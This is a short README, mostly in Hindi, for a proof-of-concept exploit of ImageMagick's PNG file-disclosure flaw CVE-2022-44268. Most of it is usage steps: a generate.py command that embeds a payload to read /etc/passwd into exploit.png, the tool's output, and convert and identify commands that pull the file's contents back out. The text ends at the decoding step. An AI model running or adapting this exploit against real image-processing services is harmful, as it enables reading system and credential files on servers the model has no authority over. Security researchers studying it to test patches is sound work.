imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

शोधकर्ताओं ने MetabaseQ पर CVE-2022-44268 की खोज की, अर्थात ImageMagick 7.1.0-49 सूचना प्रकटीकरण के प्रति संवेदनशील है। जब यह एक PNG छवि को पार्स करता है (जैसे, आकार बदलने के लिए), तो परिणामी छवि में किसी मनमानी दूरस्थ फ़ाइल की सामग्री एम्बेड हो सकती है (यदि ImageMagick बाइनरी के पास इसे पढ़ने की अनुमति है)।

उपयोग

• सुनिश्चित करें कि आपके पास ImageMagick और आवश्यक Python पैकेज स्थापित हैं।

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

• उत्पन्न PNG फ़ाइल को कनवर्ट करें:

(~)>>> convert exploit.png result.png

• कनवर्ट की गई PNG फ़ाइल की सामग्री पढ़ें:

(~)>>> identify -verbose result.png

• Raw profile type फ़ील्ड में लौटाए गए डेटा को डीकोड करें, आप /etc/passwd की सामग्री देखेंगे: